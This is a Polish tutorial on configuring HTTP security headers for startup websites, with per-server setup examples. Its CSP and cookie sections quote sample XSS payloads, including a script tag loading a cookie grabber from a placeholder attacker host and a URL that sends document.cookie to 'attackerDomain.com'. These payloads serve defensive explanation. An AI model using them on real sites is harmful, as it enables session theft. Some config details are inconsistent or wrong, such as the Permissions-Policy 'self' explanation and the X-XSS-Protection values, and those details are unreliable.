Startupy mogą zabezpieczyć swoje strony internetowe, wzmacniając aplikacje webowe za pomocą zabezpieczeń po stronie klienta, takich jak nagłówki bezpieczeństwa HTTP, aby poprawić odporność na wiele powszechnych ataków internetowych. Do tych ataków należą m.in. cross-site scripting (XSS), atak typu man-in-the-middle, clickjacking i wiele innych. Nagłówki bezpieczeństwa mogą zapobiec tym atakom, dostarczając przeglądarkom internetowym instrukcje, znane również jako dyrektywy, które pozwalają na bezpieczniejsze zachowanie. W związku z tym, konfiguracja zabezpieczeń w przeglądarkach internetowych za pomocą nagłówków bezpieczeństwa HTTP jest kluczowa dla szybkiego zwiększenia cyberbezpieczeństwa startupów.

Przyjrzyjmy się znaczeniu nagłówków bezpieczeństwa, omawiając, czym są, jakie mają funkcje, jak łagodzą ataki internetowe i jak je skonfigurować na różnych serwerach webowych.

Nagłówki bezpieczeństwa HTTP i ich funkcje

Nagłówki bezpieczeństwa HTTP implementują zabezpieczenia po stronie klienta dla przeglądarek internetowych. Zabezpieczenia po stronie klienta to technologie i zasady, które chronią użytkownika końcowego przed złośliwymi działaniami po stronie front-endu, np. dynamicznymi stronami internetowymi dostępnymi z urządzenia użytkownika końcowego.

Nowoczesne przeglądarki internetowe oferują zestaw solidnych funkcji zabezpieczeń po stronie klienta, z których startupy mogą skorzystać, takich jak nagłówki bezpieczeństwa HTTP, które są włączane przez przeglądarkę internetową, jeśli ją wspiera. Programiści lub pracownicy odpowiedzialni za zabezpieczenie aplikacji webowej startupu mogą kontrolować, które nagłówki bezpieczeństwa HTTP serwer webowy może wysłać, w zależności od decyzji, które mogą sprawić, że ich strona internetowa będzie bardziej bezpieczna.

Nagłówki bezpieczeństwa HTTP to nagłówki odpowiedzi HTTP zaprojektowane w celu zwiększenia bezpieczeństwa strony internetowej startupu. Nagłówki bezpieczeństwa HTTP komunikują się pomiędzy stroną klienta, taką jak przeglądarka internetowa, a serwerem, określając szczegóły związane z bezpieczeństwem komunikacji HTTP. Instrukcjonują one przeglądarki internetowe, jak zachowywać się w sposób bezpieczny i zapobiegają wykonywaniu przez przeglądarki podatności, takich jak cross-site scripting (XSS), które mogłyby zagrażać użytkownikom odwiedzającym stronę internetową startupu.

Lista nagłówków bezpieczeństwa

Oto lista nagłówków bezpieczeństwa oraz przegląd ich roli w zwiększaniu bezpieczeństwa strony internetowej.

• Content-Security-Policy (CSP)
• HTTP Strict-Transport-Security (HSTS)
• X-Frame Options
• X-XSS-Protection
• X-Content-Type-Options
• Set-Cookie flags
• Referrer Policy
• Permissions-Policy
• X-Permitted-Cross-Domain Policies
• Cross-Origin Resource Sharing (CORS)

Content-Security-Policy (CSP)

Nagłówek Content-Security-Policy to jeden z najważniejszych nagłówków bezpieczeństwa, który kontroluje, co przeglądarka może załadować na stronie internetowej, np. skrypty używane przez przeglądarki. Zapobiega atakom typu cross-site scripting (XSS), które ładują skrypty z złośliwych domen.

Na przykład, jeśli złośliwy użytkownik określi zewnętrzne źródło skryptu, jak w poniższym przykładzie, przeglądarka nie załaduje skryptu, jeśli CSP strony nie zezwala na skrypty z losowych domen (zobacz przykład poniżej).

<script src="attacker.com/cookie_grabber.js"></script>

CSP może domyślnie blokować skrypty inline oraz atrybuty HTML obsługujące zdarzenia i zapobiegać ładowaniu złośliwych skryptów, jak te:

<script>SOMETHING MALICIOUS</script>

<img src='img_source' onerror=SOMETHING MALICIOUS>

Nagłówek CSP jest definiowany poprzez ustawienie polityki bezpieczeństwa treści, a następnie listy typów zasobów i dozwolonych źródeł dla danego typu zasobu.

Content-Security-Policy: RESOURCE-TYPE ORIGIN ORIGIN ORIGIN …

Istnieje wiele dyrektyw w polityce bezpieczeństwa treści, takich jak default-src, object-src, img-src, font-src, media-src, i inne.

Jednak najważniejszą dyrektywą tej polityki jest script-src, która określa, skąd mają być ładowane skrypty.

Załóżmy, że aplikacja zawiera lukę XSS, którą może wykorzystać złośliwy użytkownik. Aby wykorzystać tę lukę, złośliwy użytkownik może użyć różnych ładunków. Oto kilka przykładów:

<!-- Inline code --> <img src="none.png" onerror="evilCode()"> <!-- Code block --> <script>evilCode()</script> <!-- Remote code file --> <script src="https://evil.com/code.js"></script>

CSP ma na celu zapobieganie wykonaniu każdego z tych wektorów ataku. Aby to osiągnąć, CSP nakłada restrykcje na to, jaki kod skryptu może być wykonany przy pomocy polityki script-src. Poniżej pokazano nagłówek odpowiedzi CSP z minimalną konfiguracją polityki:

Content-Security-Policy: script-src 'self' https://www.zigrin.com

👆Ta polityka ogranicza źródła skryptów do bieżącej domeny self oraz „www.zigrin.com”.

W poniższym przykładzie nagłówek CSP z polityką script-src blokuje wykonanie złośliwego kodu skryptu, takiego jak ‘https://evil.com/code.js’ z bieżącej domeny.

Dyrektywa default-src określa politykę dla każdego zasobu, który nie ma już określonej polityki. Na przykład, poniższa polityka (zobacz poniżej) informuje przeglądarki, że wszystkie skrypty powinny pochodzić z subdomeny „zigrin.com”, a wszystkie inne zasoby powinny ładować się tylko z bieżącej domeny.

Content-Security-Policy: default-src 'self'; script-src https://*.zigrin.com

Ta polityka informuje przeglądarkę, aby ładowała obrazy tylko z cdn.zigrin.com oraz skrypty tylko z własnej domeny i Google Analytics.

Content-Security-Policy: img-src self cdn.example.com; script-src 'self' https://www.google-analytics.com

HTTP Strict-Transport-Security (HSTS)

Nagłówek Strict-Transport-Security zmusza przeglądarkę do komunikacji za pomocą HTTPS, czyli zaszyfrowanej wersji protokołu HTTP. Ścisłe korzystanie z HTTPS pomaga chronić strony internetowe przed atakami typu man-in-the-middle (MitM), takimi jak ataki typu obniżenie protokołu i przechwytywanie ciasteczek.

Nagłówek Strict-Transport-Security działa, zmuszając przeglądarkę do komunikacji za pomocą HTTPS zamiast HTTP.

Poniższy przykład nagłówka zawiera dwie opcje konfiguracji: max-age i includeSubDomains. max-age to liczba sekund, przez które przeglądarka powinna zapamiętać to ustawienie. Jeśli opcja includeSubDomains jest wybrana, ustawienia będą miały zastosowanie również do subdomen strony.

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

Ideally, this header should be set on all pages of the site to force browsers to use HTTPS.

X-Frame Options

Nagłówek X-Frame-Options zapobiega atakom typu clickjacking. Clickjacking to sytuacja, w której atakujący umieszcza stronę docelową jako przezroczystą warstwę na złośliwej stronie, aby oszukać użytkowników i zmusić ich do wykonania niechcianych działań.

Ten nagłówek instruuje przeglądarkę, czy zawartość strony internetowej może być renderowana w iframe.

Dostępne są trzy opcje: DENY, SAMEORIGIN, and ALLOW-FROM.

X-Frame-Options: DENY (You cannot frame a web page) X-Frame-Options: SAMEORIGIN (This allows framing from pages of the same origin: same protocol, host, and port) X-Frame-Options: ALLOW-FROM https://google.com (Allows framing from any specified domain)

X-XSS-Protection

Nagłówek X-XSS-Protection kontroluje audytora XSS w przeglądarce użytkownika. Zatrzymuje ładowanie stron, gdy wykryje ataki typu cross-site scripting (XSS). Istnieją cztery opcje tego nagłówka.

X-XSS-Protection: 0 (Turns off XSS Auditor) X-XSS-Protection: 1 (Turns on XSS Auditor) X-XSS-Protection: 1; mode=block (Turns on XSS Auditor, prevents rendering the page when an attack is detected) X-XSS-Protection: 1; report=REPORT_URI (Sanitizes the page and sends a report to the report URL when an attack is detected)

Z powodu tego, że audytory XSS są wbudowanymi filtrami XSS, które pomagają atakującym omijać kontrolki XSS, mogą one tworzyć luki w zabezpieczeniach i nie są już niezawodne w zabezpieczaniu witryn. W związku z tym, Microsoft usunął filtr XSS z Edge, Google zdecydował się porzucić audytora XSS w Chrome, a Mozilla nie zaimplementowała go w Firefoxie.

Obecnie najlepszą praktyką jest wyłączenie audytora XSS i wdrożenie CSP jako części kompleksowej ochrony przed XSS po stronie serwera.

X-XSS-Protection: 0

X-Content-Type-Options

Nagłówek X-Content-Type-Options zapobiega sniffingowi MIME. MIME-sniffing to sytuacja, w której przeglądarki próbują określić typ pliku dokumentu, analizując jego zawartość i ignorując instrukcje serwera ustawione w nagłówku Content-Type.

Problem z MIME-sniffingiem polega na tym, że choć może to być użyteczna funkcja, prowadzi do luk w zabezpieczeniach. Na przykład atakujący może przesłać plik JavaScript z rozszerzeniem pliku obrazu. Kiedy inni próbują wyświetlić obraz, ich przeglądarki wykrywają, że plik jest plikiem JavaScript i wykonują go, zamiast renderować jako obraz.
Ustawienie tego nagłówka na nosniff zapobiega MIME-sniffingowi:

X-Content-Type-Options: nosniff

Witryna internetowa może określić, jak przeglądarka renderuje pliki, ustawiając nagłówek odpowiedzi Content-Type. Możliwe jest również użycie osobnej subdomeny do hostowania treści przesyłanych przez użytkowników, aby zapobiec potencjalnym atakom XSS na głównej domenie.

Flagi Set-Cookie

Pliki cookie odgrywają ważną rolę w bezpieczeństwie aplikacji webowych. Serwery ustalają pliki cookie, wysyłając nagłówek Set-Cookie w odpowiedzi. Nagłówek odpowiedzi HTTP Set-Cookie wysyła plik cookie z serwera do klienta, aby klient mógł odesłać go z powrotem do serwera później. Na przykład, jeśli chcesz wysłać wiele plików cookie, powinno być wysłanych wiele nagłówków Set-Cookie w odpowiedzi.

Istnieją trzy flagi plików cookie, czyli atrybuty nagłówka Set-Cookie, które pomagają zabezpieczyć przeglądarkę.

Trzy flagi plików cookie to:

• httponly
• secure
• same-site

Te trzy flagi plików cookie, obsługiwane przez nowoczesne przeglądarki, chronią przed atakami, takimi jak cross-site request forgery (CSRF) oraz ataki typu man-in-the-middle.

Flaga httponly uniemożliwia dostęp do wartości plików cookie przez zabronienie JavaScriptowi dostępu do tych plików, co chroni przed atakami typu cross-site scripting (XSS).

Na przykład, jeśli strona internetowa przechowuje plik cookie sesji i istnieje pole wejściowe podatne na XSS, złośliwy atakujący może wstrzyknąć skrypt wysyłający żądanie HTTP do adresu URL podobnego do tego:

`https://attackerDomain.com/cookie=${document.cookie}`

Działa to, ponieważ document.cookie jest dostępne dla każdego kodu JavaScript i wyświetla wszystkie pliki cookie używane w bieżącej domenie. Ponadto, jeśli sesja jest przechowywana, złośliwy atakujący może uzyskać dostęp do bieżącej sesji użytkownika. Flagi plików cookie httponly zapobiegają temu atakowi.

Flaga same-site uniemożliwia przeglądarce wysyłanie tego pliku cookie razem z żądaniami międzydomenowymi. Celem głównym jest ograniczenie ryzyka wycieku informacji międzydomenowych. Umożliwia określenie, czy plik cookie powinien być ograniczony do kontekstu pierwszej strony lub tej samej strony. Flaga same-site zapewnia pewną ochronę przed atakami typu cross-site request forgery (CSRF). Możliwe wartości tej flagi to none, lax lub strict.

Flaga secure sprawia, że plik cookie jest wysyłany na serwer tylko w zaszyfrowanym żądaniu przez protokół HTTPS. Pomaga to zminimalizować ryzyko ataków typu man-in-the-middle lub złośliwych atakujących podsłuchujących kanał komunikacyjny między przeglądarką a serwerem i odczytujących plik cookie.

Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) to nagłówek bezpieczeństwa, który pozwala serwerowi wskazać, które inne pochodzenia (domena, schemat lub port) mogą załadować zasoby. Jest to mechanizm umożliwiający żądanie zasobów z innej domeny, niż ta, z której pochodzi pierwszy zasób, na stronach internetowych, które mogą swobodnie osadzać obrazy, style CSS, skrypty, iframe’y i filmy.

CORS jest implementowany na warstwie HTTP, dzięki czemu backend może powiedzieć przeglądarce, że pozwala na interakcje między frontendem a backendem. Składa się z żądania wstępnego (preflight), które jest wysyłane do serwera hostującego zasób z innej domeny, w celu sprawdzenia, czy serwer pozwala na rzeczywiste żądanie. W tym wstępnym żądaniu przeglądarka wysyła nagłówki wskazujące metodę HTTP oraz nagłówki, które zostaną użyte w rzeczywistym żądaniu. Nowoczesne przeglądarki używają CORS w interfejsach API, takich jak XMLHttpRequest czy Fetch, aby zminimalizować ryzyko żądań HTTP międzydomenowych. CORS chroni witrynę otrzymującą żądania z innych domen. Dlatego dozwolone pochodzenia zależą od docelowego serwera.

Oto przykład żądania międzydomenowego:
Kod JavaScript front-endu serwowany z https://zigrin-a.com używa XMLHttpRequest aby wysłać żądanie https://zigrin-b.com/data.json.

Ze względów bezpieczeństwa przeglądarki ograniczają żądania HTTP międzydomenowe inicjowane przez skrypty. Na przykład, XMLHttpRequest i Fetch API przestrzegają zasady tego samego pochodzenia (same-origin policy, SOP). Oznacza to, że aplikacja internetowa korzystająca z tych interfejsów API może żądać zasobów tylko z tej samej domeny, z której została załadowana aplikacja, chyba że odpowiedź z innych domen zawiera odpowiednie nagłówki CORS.

Ten standard dzielenia się zasobami międzydomenowymi umożliwia żądania HTTP międzydomenowe dla:

• Wywołań interfejsów XMLHttpRequest lub Fetch APIs.
• Czcionek internetowych (do używania czcionek międzydomenowych w @font-face w CSS), aby serwery mogły wdrażać czcionki TrueType, które mogą być ładowane międzydomenowo i używane przez witryny, którym jest to dozwolone.
• Tekstur WebGL.
• Obrazów/klatek wideo rysowanych na kanwie za pomocą drawImage().
• Kształtów CSS z obrazów.

Oto przykład użytkownika odwiedzającego http://www.zigrin.com, gdzie strona docelowa próbuje wykonać żądanie międzydomenowe, aby pobrać dane użytkownika z http://service.zigrin.com. Przeglądarka obsługująca CORS spróbuje wykonać żądanie międzydomenowe do service.zigrin.com w następujący sposób:

1. Przeglądarka wysyła żądanie GET z dodatkowym nagłówkiem Origin do service.zigrin.com, zawierającym domenę, która wysłała stronę nadrzędną:

Origin: http://www.zigrin.com

2. Serwer w service.zigrin.com service.zigrin.com wysyła jedną z trzech odpowiedzi:

• Żądane dane wraz z nagłówkiem Access-Control-Allow-Origin (ACAO) w odpowiedzi wskazującym, że żądania z tego pochodzenia są dozwolone. Na przykład w tym przypadku powinno to wyglądać tak:

Access-Control-Allow-Origin: http://www.zigrin.com

• Żądane dane wraz z nagłówkiem Access-Control-Allow-Origin (ACAO) z dziką kartą wskazującą, że żądania ze wszystkich domen są dozwolone:

Access-Control-Allow-Origin: *

• Strona błędu, jeśli serwer nie zezwala na żądanie międzydomenowe.

Uwaga: Nagłówek Access-Control-Allow-Origin obsługuje dzikie karty. Jednak nie można ich używać w żadnej innej wartości. Na przykład następujący nagłówek jest nieprawidłowy:

Access-Control-Allow-Origin: https://*.zigrin.com

Polityka dzikiej karty same-origin jest odpowiednia, gdy strona lub odpowiedź API lub jakikolwiek kod na stronie jest uznawany za publiczną treść, która ma być dostępna dla wszystkich i jest stosowana w modelu możliwości obiektów, gdzie strony mają nieodgadnione adresy URL i są dostępne dla każdego, kto zna sekret.

Wartość „*” jest szczególna, ponieważ nie pozwala na przesyłanie poświadczeń w żądaniu międzydomenowym, co oznacza, że nie pozwala na przesyłanie uwierzytelniania HTTP, certyfikatów SSL po stronie klienta ani plików cookie.

Nagłówek Access-Control-Allow-Origin jest zawarty w odpowiedzi z jednej witryny na żądanie pochodzące z innej witryny i identyfikuje dozwolone pochodzenie żądania. Przeglądarka internetowa porównuje Access-Control-Allow-Origin z pochodzeniem witryny żądającej i zezwala na dostęp do odpowiedzi, jeśli się zgadzają.

Polityka Odsyłacza (Referrer Policy)

The Referrer-Policy header tells the browser when to send Referrer information. This security header can help prevent information leakages offsite via Referrer URLs. There are many options for this header, the most useful ones being no-referrer, origin, origin-when-cross-origin, and same-origin. *Note: This security header does not misspell “referrer” such as other HTTP header „Referer.”

Nagłówek Referrer-Policy informuje przeglądarkę, kiedy wysyłać informacje o odsyłaczu (referrer). Ten nagłówek bezpieczeństwa pomaga zapobiegać wyciekom informacji poza witrynę poprzez adresy URL odsyłacza. Istnieje wiele opcji dla tego nagłówka, z których najbardziej przydatne to: no-referrer, origin, origin-when-cross-origin oraz same-origin. Uwaga: Ten nagłówek bezpieczeństwa nie zawiera błędu w pisowni „referrer”, jak w przypadku innego nagłówka HTTP „Referer.”

Referrer-Policy: no-referrer (Nie wysyłaj odsyłacza) Referrer-Policy: origin (Wyślij tylko origin, bez ścieżki i parametrów) Referrer-Policy: origin-when-cross-origin (Wyślij origin, gdy cel jest poza witryną, w przeciwnym razie wyślij cały odsyłacz) Referrer-Policy: same-origin (Wyślij odsyłacz, gdy cel pochodzi z tej samej witryny, w przeciwnym razie nie wysyłaj odsyłacza)

Startup powinien rozważyć użycie jednej z powyższych opcji jako nagłówka Referrer-Policy, ponieważ wszystkie chronią przed wyciekami informacji o użytkowniku poprzez URL, ścieżki lub parametry. Oprócz ustawienia odpowiedniego nagłówka Referrer-Policy, startupy powinny unikać przesyłania wrażliwych informacji w URL, jeśli to możliwe, z powodów bezpieczeństwa.

Polityka Uprawnień (Permissions-Policy)

Nagłówek Permissions-Policy pozwala na włączanie i wyłączanie funkcji przeglądarki, takich jak umożliwienie lub zablokowanie dostępu stron internetowych do kamery, mikrofonu lub głośników użytkownika. Ten nagłówek bezpieczeństwa ułatwia twórcom stron internetowych budowanie witryn, które chronią prywatność i bezpieczeństwo użytkowników.

Oto jak wygląda nagłówek Permissions-Policy:

Permissions-Policy: FEATURE ORIGIN; FEATURE ORIGIN Permissions-Policy: microphone=(), camera=() Istnieją trzy opcje dla dozwolonych ORIGINÓW każdej funkcji. Permissions-Policy: microphone=(*) (Mikrofon będzie dozwolony na tej stronie i wszystkich stronach osadzonych) Permissions-Policy: microphone=(self) (Mikrofon będzie zabroniony na tej stronie i wszystkich stronach osadzonych, jeśli pochodzą z tej samej witryny) Permissions-Policy: microphone=() (Mikrofon będzie zabroniony na tej stronie i wszystkich stronach osadzonych)

Możesz także określić konkretną domenę, gdzie funkcja jest dozwolona:

Permissions-Policy: microphone=(self "https://example.com")

X-Permitted-Cross-Domain

Nagłówek X-Permitted-Cross-Domain instruuje przeglądarkę, jak obsługiwać żądania między domenami. Dzięki wdrożeniu tego nagłówka, ograniczasz ładowanie zasobów witryny z innych domen, aby uniknąć nadużyć zasobów, szczególnie podczas korzystania z produktów Adobe, takich jak PDF, Flash itp.

Dlaczego Nagłówki Bezpieczeństwa Są Ważne

Zagrożenia z życia codziennego, takie jak ataki po stronie klienta, mogą mieć katastrofalne konsekwencje. Przykładem jest atak Magecart, znany również jako atak na skimming płatności lub e-skimming.

Atak Magecart polega na użyciu małego kawałka kodu, który jest wstawiany do strony internetowej, aby wyłudzać informacje od klientów. Najczęściej jest wstawiany na stronach płatności, gdzie działa jak internetowy skimmer kart kredytowych, wyciągając dane osobowe i informacje o kartach kredytowych każdego, kto na nie trafi. Platformy e-commerce są szczególnie narażone na tego typu ataki.

Niektóre znane firmy, które padły ofiarą tego ataku to:

• Warner Music Group
• Ticketmaster
• British Airways
• Newegg
• Macy’s

Najgłośniejszym przypadkiem był atak Magecart, którego ofiarą padł Ticketmaster. Był to największy w historii przypadek kradzieży kart płatniczych, który dotknął niemal tysiąca stron e-commerce na całym świecie. Atak na łańcuch dostaw strony Magecart wykorzystał cyfrowe wyłudzanie danych z kart płatniczych, które przez ponad 3 lata dotknęło ponad 800 globalnych sprzedawców.

Przed zastosowaniem nagłówka HTTP w celu ograniczenia ataków na strony internetowe, upewnij się, że jest on kompatybilny z przeglądarkami użytkowników.

Konfigurowanie nagłówka zabezpieczeń

Po tym, jak Twoje startup zdecyduje, które nagłówki są odpowiednie do użycia, poniżej znajduje się kilka sposobów konfiguracji nagłówków zabezpieczeń z różnymi serwerami WWW, w zależności od serwera, który może być używany przez Twoje startup.

Oto lista serwerów WWW z przykładami, jak skonfigurować nagłówki zabezpieczeń na nich.

• Nginx
• Apache
• Apache Tomcat
• IIS
• Lighttpd
• Firebase
• WordPress

Nginx

W Nginx możesz dodać nagłówek, dodając poniższe linie do konfiguracji swojej strony internetowej.

add_header X-Frame-Options SAMEORIGIN always; add_header Content-Security-Policy "default-src 'self' https://*.zigrin.com"; add_header Permissions-Policy microphone=()

Apache

W Apache składnia jest podobna.

Header always set X-Frame-Options "SAMEORIGIN" Header set Content-Security-Policy "default-src 'self' https://*.zigrin.com"; Header always set "microphone 'none'; camera 'none'";

Apache Tomcat

Przed skonfigurowaniem nagłówków zabezpieczeń w Apache Tomcat najlepiej jest wykonać kopię zapasową niezbędnego pliku konfiguracyjnego przed wprowadzeniem zmian lub przetestować to w środowisku niena produkcyjnym.

Następnie wykonaj następujące kroki.

1. Zaloguj się do serwera Tomcat.
2. Przejdź do folderu conf w ścieżce, w której zainstalowany jest Tomcat.
3. Odkomentuj poniższy filtr (domyślnie jest skomentowany).

<filter>     <filter-name>httpHeaderSecurity</filter-name>     <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-class>     <async-supported>true</async-supported> </filter>

Odkomentowując powyższy kod, instruujesz Tomcat, aby wspierał filtr HTTP Header Security.

4. Następnie dodaj poniższy kod po powyższym filtrze.

<filter-mapping> <filter-name>httpHeaderSecurity</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>

Dodając powyższy kod, instruujesz Tomcat, aby wstrzykiwał nagłówki HTTP Header Security w URL aplikacji.

5. Na koniec uruchom ponownie Tomcat i sprawdź aplikację za pomocą narzędzi deweloperskich, aby zweryfikować nagłówki.

Lighttpd

Nagłówki zabezpieczeń możesz dodać do serwera Lighttpd, edytując plik konfiguracyjny Lighttpd i dodając poniższy kod dla każdego nagłówka zabezpieczeń.

Na przykład, aby wysłać nagłówek Strict-Transport-Security (HSTS), edytuj plik konfiguracyjny:

setenv.add-response-header = ("Strict-Transport-Security" => "max-age=63072000; includeSubdomains",)

Aby wysłać nagłówek X-Frame-Options, edytuj plik konfiguracyjny i dodaj: setenv.add-response-header = („X-Frame-Options” => „DENY”,)

Aby wysłać nagłówek X-XSS-Protection, dodaj poniższy kod:
setenv.add-response-header = („X-XSS-Protection” => „1; mode=block”,)

Aby wysłać nagłówek Content-Security-Policy, wykonaj to w ten sposób:

setenv.add-response-header = ("Content-Security-Policy" => "script-src 'self'; object-src 'self'",)

Aby wysłać nagłówek X-Content-Type-Options, wykonaj to w ten sposób:

setenv.add-response-header = ("X-Content-Type-Options" => "nosniff",)

Aby wysłać nagłówek X-Permitted-Cross-Domain-Policies, wykonaj to w ten sposób:

setenv.add-response-header = ("X-Permitted-Cross-Domain-Policies" => "none",)

IIS

Aby skonfigurować nagłówki w IIS, możesz dodać niestandardowe nagłówki do pliku konfiguracyjnego swojej witryny:

<configuration>   <system.webServer>       <httpProtocol>         <customHeaders>             <add name="X-Frame-Options" value="SAMEORIGIN" />             <add name="X-XSS-Protection" value="0" />         </customHeaders>       </httpProtocol>   </system.webServer> </configuration>

Możesz również otworzyć Menedżera IIS i wykonać następujące kroki:

1. Otwórz Menedżera IIS.
2. Wybierz witrynę, dla której chcesz włączyć nagłówek.
3. Przejdź do sekcji „Nagłówki odpowiedzi HTTP” („HTTP Response Headers”).
4. W sekcji „Akcje” („Actions”) kliknij „Dodaj” („Add”).
5. Wprowadź nazwę i wartość nagłówka, a następnie kliknij „OK”.

Firebase

Główni dostawcy usług w chmurze umożliwiają dostosowanie używanych nagłówków bezpieczeństwa. Na przykład, jeśli korzystasz z Firebase, możesz dodać nagłówki bezpieczeństwa do pliku firebase.json. Dodaj klucz headers do pliku JSON z nagłówkami bezpieczeństwa, które chcesz dodać:

"headers": [     { "key": "Permissions-Policy",       "value": "microphone=(), camera=()"     },     {"key": "X-Frame-Options",       "value": "DENY"     } ]

AWS Cloudfront 

Aby dodać nagłówki bezpieczeństwa HTTP do odpowiedzi Amazon CloudFront, wykonaj następujące kroki:

Użyj zarządzanej polityki nagłówków bezpieczeństwa w odpowiedziach, która zawiera predefiniowane wartości dla najczęściej używanych nagłówków HTTP. Alternatywnie możesz utworzyć niestandardową politykę nagłówków odpowiedzi, definiując własne nagłówki bezpieczeństwa i wartości, które zostaną dodane do określonego zachowania CloudFront.

Utwórz niestandardową politykę nagłówków odpowiedzi w konsoli

1. Otwórz konsolę CloudFront.
2. W menu nawigacyjnym wybierz Policies, a następnie Response headers.
3. Kliknij Create response headers policy.
4. W sekcji Security headers wybierz każdy z nagłówków bezpieczeństwa, które chcesz dodać do polityki. Wprowadź lub wybierz wymagane wartości dla każdego nagłówka.
5. W sekcji Custom headers dodaj niestandardowe nagłówki bezpieczeństwa i wartości, które CloudFront powinien dodawać do odpowiedzi.
6. Wypełnij pozostałe pola zgodnie z wymaganiami, a następnie kliknij Create.

Przypisz politykę nagłówków odpowiedzi do zachowania pamięci podręcznej

Po utworzeniu polityki nagłówków odpowiedzi, przypisz ją do zachowania pamięci podręcznej w dystrybucji CloudFront. Aby przypisać zarządzaną lub niestandardową politykę nagłówków bezpieczeństwa do istniejącej dystrybucji CloudFront:

1. Otwórz konsolę CloudFront.
2. Wybierz dystrybucję, którą chcesz zaktualizować.
3. W zakładce Behaviors wybierz zachowanie pamięci podręcznej, które chcesz zmodyfikować, a następnie kliknij Edytuj.
4. W polu Polityka nagłówków odpowiedzi wybierz SecurityHeadersPolicy lub niestandardową politykę, którą utworzyłeś.
5. Kliknij Zapisz zmiany.

Poniżej znajduje się przykład odpowiedzi CloudFront z nagłówkami odpowiedzi HTTP zabezpieczeń:

curl -I https://dxxxxxxxbai33q.cloudfront.net HTTP/2 200 content-type: text/html content-length: 9850 vary: Accept-Encoding date: xxxxxxxxx last-modified: xxxxxxx etag: "c59c5ef71f3350489xxxxxxxxxx" x-amz-server-side-encryption: AES256 cache-control: no-store, no-cache, private x-amz-version-id: null accept-ranges: bytes server: AmazonS3 x-xss-protection: 1; mode=block x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff strict-transport-security: max-age=31536000 x-cache: Miss from cloudfront via: 1.1 12142717248e0e7148a5c1a9151ab918.cloudfront.net (CloudFront) x-amz-cf-pop: BOS50-C3 x-amz-cf-id: nHNANTZYdkQkE5BmsqlisPTiodFhVCK-Sf9Zp4iJzNs04eWi1_hEig==

Cloudflare

Aby skonfigurować nagłówki bezpieczeństwa za pomocą Cloudflare, wykonaj następujące kroki:

1. Zaloguj się na swoje konto Cloudflare i kliknij na Workers.

2. Wybierz nazwę subdomeny (np. Zigrin2022), która ma zostać utworzona w workers.dev na Cloudflare.
3. Wybierz plan dla Workers.
4. Kliknij Utwórz usługę.
5. Nazwij swoją usługę, np. secureheaders. Wybierz HTTP handler jako początkową opcję.

6. W zakładce Resources, kliknij Edytuj.
7. Dodaj kod do Worker, aby dodać nagłówki, które chcesz. Typowe nagłówki bezpieczeństwa, które można ustawić, to: X-XSS-Protection, X-Frame-Options, X-Content-Type-Options, Permissions-Policy, Referrer-Policy, Strict-Transport-Security, Content-Security-Policy.

Cloudflare udostępnia przykładowy kod tutaj. Możesz również skopiować i wkleić poniższy kod, który zawiera pewne poprawki do przykładu Cloudflare. Dodatkowe nagłówki bezpieczeństwa zostały głównie odkomentowane, a sprawdzanie wersji TLS zostało usunięte, ponieważ kontrola wersji TLS była już włączona w Cloudflare.

const DEFAULT_SECURITY_HEADERS = {     "Content-Security-Policy": "upgrade-insecure-requests",     "Strict-Transport-Security" : "max-age=63072000; includeSubDomains; preload",     "Permissions-Policy": "interest-cohort=()",     "X-XSS-Protection": "1; mode=block",     "X-Frame-Options": "DENY",     "X-Content-Type-Options": "nosniff",     "Referrer-Policy": "strict-origin-when-cross-origin", } const BLOCKED_HEADERS = [     "Public-Key-Pins",     "X-Powered-By",     "X-AspNet-Version", ] addEventListener('fetch', event => {     event.respondWith(addHeaders(event.request)) }) async function addHeaders(req) {     let response = await fetch(req)     let newHeaders = new Headers(response.headers)     // This sets the headers for HTML responses:     if (newHeaders.has("Content-Type") && !newHeaders.get("Content-Type").includes("text/html")) {         return new Response(response.body, {             status: response.status,             statusText: response.statusText,             headers: newHeaders         })     }     Object.keys(DEFAULT_SECURITY_HEADERS).map(function (name) {         newHeaders.set(name, DEFAULT_SECURITY_HEADERS[name]);     })     BLOCKED_HEADERS.forEach(function (name) {         newHeaders.delete(name)     })     return new Response(response.body, {         status: response.status,         statusText: response.statusText,         headers: newHeaders     }) }

8. Po skopiowaniu i wklejeniu kodu kliknij Zapisz i wdroż.

9. Dodaj trasę do nowego Cloudflare Worker, aby zastosować kod do głównej domeny. Przejdź do zakładki Triggers, a następnie kliknij Dodaj trasę.

10. Dodaj jedną z dwóch tras: *.twojadomena.com/* LUB twojadomena.com/*. Jeśli używasz www, wybierz pierwszą opcję, jeśli nie używasz www ani innych subdomen, wybierz drugą. Kliknij Dodaj trasę.

11. Voila! Zakończono konfigurację! Przejdź do Securityheaders.com i zweryfikuj nowe nagłówki na swojej stronie.

WordPress

Możesz skonfigurować nagłówki HTTP za pomocą kilku metod. Możesz użyć wtyczki, pliku .htaccess lub konfiguracji Nginx, albo skonfigurować je w kodzie aplikacji. Jeśli chcesz wdrożyć nagłówki bezpieczeństwa na swojej stronie WordPress przez serwer www, jak Apache lub Nginx, zapoznaj się z poprzednią częścią tego artykułu.

Dla stron WordPress najlepiej jest użyć wtyczki do konfiguracji nagłówków HTTP. Możesz również spróbować dodać nowe nagłówki, wstawiając kod w pliku functions.php. Jeśli to nie działa, oznacza to, że masz bardzo restrykcyjne hostowanie, i będziesz musiał powiadomić swojego dostawcę.

Po prostu dodaj poniższy kod do pliku functions.php swojego motywu (zobacz przykład poniżej).

1                                /** 2 * Enables the HTTP Strict Transport Security (HSTS) header in WordPress.3                                */ 4 function tg_enable_strict_transport_security_hsts_header_wordpress() { 5 header( 'Strict-Transport-Security: max-age=31536000' ); 6                                 } 7 add_action( 'send_headers', 'tg_enable_strict_transport_security_hsts_header_wordpress' );

Ten kod dodaje nagłówek Strict Transport Security na okres 1 roku, co jest wymagane, jeśli chcesz, aby Twoja strona była w końcu gotowa do preładowania HSTS w przeglądarkach takich jak Chrome, Firefox i Safari.

Jak weryfikować nagłówki bezpieczeństwa

Przed weryfikacją nagłówków bezpieczeństwa, upewnij się, że znasz Projekt Bezpiecznych Nagłówków OWASP (OSHP) oraz jego wytyczne, aby zapewnić spełnienie najlepszych praktyk w zakresie nagłówków bezpieczeństwa HTTP.

